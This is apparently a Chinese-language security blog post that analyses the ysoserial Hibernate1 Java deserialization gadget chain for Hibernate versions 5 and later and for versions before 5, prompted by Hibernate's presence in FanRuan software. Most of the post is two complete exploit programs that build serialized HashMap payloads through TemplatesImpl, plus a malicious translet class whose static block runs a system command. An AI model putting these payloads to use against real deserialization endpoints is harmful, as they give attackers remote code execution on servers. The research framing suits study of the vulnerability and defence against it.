前言 在帆软的软件包中有一个依赖叫hibernate,这个依赖是存在一个反序列化漏洞的,ysoserial中也有这条链子,所以今天来分析一下
概念: 参考:https://www.anquanke.com/post/id/205113 略复杂
总而言之他就是一个框架,是对jdbc进行的对象封装,还能自动生成sql且执行
Hibernate1(V>=5) 漏洞发现: 首先看一下ysoserial中的具体调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /** * * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * @author mbechler */
导入依赖
1 2 3 4 5 <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>5.6.15.Final</version> </dependency>
发现漏洞点在GetterMethodImpl类中的get()方法,我们找到看一下
看一下代码我们可以发现它直接进行了一个invoke方法的调用,且从名字上看是一个getter方法,且他(getterMethod)可以通过反射赋值(看到这个可以想到fastjson)
这时候我们向上找,看谁调用了get方法
找到的是AbstractComponentTuplizer#getPropertyValue,并且该getter数组在构造函数中,也可以通过反射赋值
继续向上,则是到了ComponentType#getPropertyValue,并且这里若componentTuplizer为我们上面的AbstractComponentTuplizer对象的话,就可以触发利用链
继续向上,到了ComponentType#getHashCode中
继续向上找getHashCode的利用,最后是在TypedValue的initTransients()下的initialize()中找到了一处调用
并且在TypedValue的构造函数中也调用了initTransients,所以反序列化的时候, TypedValue被初始化的时候会调用构造函数,进而就会有一个DeferredInitializer匿名类定义,然后就会调用到initialize方法
继续向上跟,找到了ValueHolder#getValue
说实话,如果对前面的链还有一定记忆的话就知道这条链差不多通了,也知道继续向上就是hashCode
剩下的就可以去拼接以前学过的链了,具体这里就不写了,感兴趣的可以翻一下我前面的笔记
构造poc 以HashMap为入口类,调用hashcode,然后到getValue,再到initialize#type.getHashCode,而这里的type是需要在TypedValue的构造函数中传入
这里按照链子来看的话,这个type应该是ComponentType,但是这里因为这个对象的构造函数都是hibernate依赖自己封装的一些类,不是javabean,所以外部在创建该对象的时候会很麻烦
无法独立构造依赖参数: 要创建ComponentType,必须先获取ComponentMetamodel实例。但ComponentMetamodel的创建依赖 Hibernate 的元数据解析流程(如从hbm.xml或注解解析组件信息),其构造可能需要MetadataBuildingContext、AttributeBinding等更深层的内部类,这些类的实例化逻辑完全由 Hibernate 内部掌控,外部无法轻易模拟。
缺乏通用工具支持: 由于ComponentMetamodel等类不遵循 JavaBean 规范(无默认构造函数、无标准 getter/setter),无法通过通用工具(如BeanUtils、Spring 的BeanWrapper)创建或配置。开发者必须手动追踪 Hibernate 内部的实例化流程,这需要深入了解 Hibernate 的源码细节,成本极高。
内部状态依赖风险: 即使强行通过反射创建了ComponentMetamodel实例,若未正确初始化其内部状态(如propertySpan、cascade等字段),ComponentType在后续使用中(如计算属性哈希、生成 SQL)会因状态异常导致错误,且这类错误难以调试(因为涉及 Hibernate 底层逻辑)。
这里就去看了一些其它师傅的文章,发现这里是引用了ReflectionFactory,能够绕过构造函数创建一个对象(以前没有学过,贴个链接一起学习)
https://www.cnblogs.com/strongmore/p/15470175.html
这里写个简单的方法,用来后面的poc利用
1 2 3 4 5 6 7 public static Object createObjWithoutConstructor(Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return constructor1.newInstance(); }
TypedValue的Type的参数位置传入
1 TypedValue typedValue = new TypedValue(componentType,"Zephyr");
但是这时候我们传入的componentType是一个空的,里面的各种属性还没有赋值,所以还得反射来给他的属性赋值
然后从getHashCode到下一步ComponentType#getPropertyValue中,来到419行的componentTuplizer.getPropertyValue( component, i )
而我们在上面的分析中知道这里的componentTuplizer必须是AbstractComponentTuplizer也就是他的实现类才可以触发链子,因为这里的AbstractComponentTuplizer是一个抽象类,所以我们找一个他的实现类
这里就使用PojoComponentTuplizer
1 2 3 PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); setField(componentType,"componentTuplizer",pojoComponentTuplizer);
在上面的分析中我们知道AbstractComponentTuplizer#getPropertyValue中的getters数组会调用get方法,而要利用链则数组中的第i个元素必须是GetterMethodImpl对象,而component是恶意的getter方法就行
而在前面的fastjson中有对getter的利用,其中利用了TemplateImpl类的getOutputProperties方法,进而调用该类的newTransformer方法实现恶意类加载
getters数组赋值(这里设置AbstractComponentTuplizer的实现类PojoComponentTuplizer时候,还必须获取一下AbstractComponentTuplizer的class)
1 2 3 4 Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters"); field.setAccessible(true); field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});
最后就是要使invoke里的owner(也就是AbstractComponentTuplizer#getPropertyValue中get方法中的component)为fastjson利用到的template对象就ok
然后package一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static TemplatesImpl getTemplateImpl() throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class")); Class<?> c = Class.forName("java.lang.ClassLoader"); Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); m.setAccessible(true); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length); TemplatesImpl templates = new TemplatesImpl(); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class"); _classField.setAccessible(true); _classField.set(templates,new Class[]{c1}); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Zephyr"); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex"); _transletIndexField.setAccessible(true); _transletIndexField.set(templates,0); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl()); return templates; }
然后上面TypedValue重新赋值一下,把这个template传进去
1 TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());
最后poc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.hibernate.engine.spi.TypedValue; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType; import sun.reflect.ReflectionFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; public class hibernate { /* * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() */ public static void main(String[] args) throws Exception{ // BasicPropertyAccessor.BasicGetter basicGetter = BasicPropertyAccessor.BasicGetter; HashMap<Object,Object> hashMap = new HashMap<>(); ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class); setField(componentType,"propertySpan",2); TypedValue typedValue = new TypedValue(componentType,getTemplateImpl()); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters"); field.setAccessible(true); field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))}); setField(componentType,"componentTuplizer",pojoComponentTuplizer); //这段对hashmap的处理是为了解决在put的时候触发gadget的经典问题 //hashMap.put(typedValue,1); hashMap.put(1,1); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ // System.out.println(entry); if (entry != null){ setField(entry,"key",typedValue); } } byte[] bytes = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(bytes)); unser(bytes); } public static TemplatesImpl getTemplateImpl() throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Security\\JavaStudy\\java_src\\serialize\\hibernate\\src\\main\\java\\Test.class")); Class<?> c = Class.forName("java.lang.ClassLoader"); Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); m.setAccessible(true); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length); TemplatesImpl templates = new TemplatesImpl(); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class"); _classField.setAccessible(true); _classField.set(templates,new Class[]{c1}); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Zephyr"); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex"); _transletIndexField.setAccessible(true); _transletIndexField.set(templates,0); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl()); return templates; } public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); } public static Object createObjWithoutConstructor(Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return constructor1.newInstance(); } public static byte[] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static Object unser(byte[] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return objectInputStream.readObject(); } }
Test.class(恶意类) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() { } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } } }
运行截图:
Hibernate1(V<5) 漏洞分析 导入依赖
1 2 3 4 5 <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>4.3.11.Final</version> </dependency>
重新加载maven依赖后,发现在原来的poc中有两个类都爆红了
也就是说版本在小于5的时候Getter和GetterMethodImpl并不存在了,所以需要找替代
站在巨人的肩膀上,我们已经知道了这里链子的发现者找到的是BasicPropertyAccessor.BasicGetter.get()
发现和GetterMethodImpl#get()几乎一摸一样
但是有一个问题就是这里的method是一个transient,我们都知道这个类型的属性是不能通过反射赋值的
我们去看一下在反序列化过程中该method的赋值是如何赋值的,这样的话如果可以通过其他类的方法来进行赋值
在BasicPropertyAccessor.BasicGetter中,我们可以看到一个一个方法readResolve(先说结果,可以通过他给method属性赋值)
先放调用栈
1 2 3 4 BasicGetter in BasicPropertyAccessor.readResolve() (org.hibernate.property) BasicPropertyAccessor.createGetter(Class, String) (org.hibernate.property) BasicPropertyAccessor.getGetterOrNull(theClass, propertyName)(2 usages) (org.hibernate.property) BasicPropertyAccessor.getterMethod(Class theClass, String propertyName) (org.hibernate.property)
在反序列话的过程中会自动调用该方法
通过getterMethod方法获取method对象,并通过BasicGetter的构造方法为该对象赋值
getterMethod遍历theClass中的所有方法,查找以get或is开头的并且去掉get或is后和propertyName相同的method并返回
至于theclass怎么赋值,回到BasicGetter的构造函数中,是从clazz属性中传入(很贱的的跟一下参数,所有方法都在同一个类中),而propertyName也是可以通过构造方法设置的,所以可以通过控制这两个属性来间接给method属性传值
给BasicGetter的clazz对象赋值为包含漏洞getter的漏洞类的class,propertyName属性为那个getter对应的属性名
如果我们还要利用上面类似的payload,也就是TemplateImpl的getOutputProperties()方法,那么clazz就得是TemplateImpl的class,propertyName就得是OutputProperties
反射尝试赋值一下
1 2 3 4 Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class; Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class}); basicGetterConstructor.setAccessible(true); BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");
最终poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.hibernate.engine.spi.TypedValue; import org.hibernate.property.BasicPropertyAccessor; import org.hibernate.property.Getter; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType; import sun.reflect.ReflectionFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; public class hibernate1 { public static void main(String[] args) throws Exception{ HashMap<Object,Object> hashMap = new HashMap<>(); ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class); setField(componentType,"propertySpan",2); TypedValue typedValue = new TypedValue(componentType,getTemplateImpl()); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class; Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class}); basicGetterConstructor.setAccessible(true); BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties"); Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters"); field.setAccessible(true); field.set(pojoComponentTuplizer,new Getter[]{basicGetter}); setField(componentType,"componentTuplizer",pojoComponentTuplizer); hashMap.put(1,1); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ // System.out.println(entry); if (entry != null){ setField(entry,"key",typedValue); } } byte[] bytes = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(bytes)); unser(bytes); } public static TemplatesImpl getTemplateImpl() throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Security\\JavaStudy\\java_src\\serialize\\hibernate\\src\\main\\java\\Test.class")); Class<?> c = Class.forName("java.lang.ClassLoader"); Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); m.setAccessible(true); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length); TemplatesImpl templates = new TemplatesImpl(); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class"); _classField.setAccessible(true); _classField.set(templates,new Class[]{c1}); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Zephyr"); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex"); _transletIndexField.setAccessible(true); _transletIndexField.set(templates,0); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl()); return templates; } public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); } public static Object createObjWithoutConstructor(Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return constructor1.newInstance(); } public static byte[] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static Object unser(byte[] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return objectInputStream.readObject(); } }
运行截图
这次记录就完毕了,但是还有Hibernate2的反序列化,就后续再补充吧^_^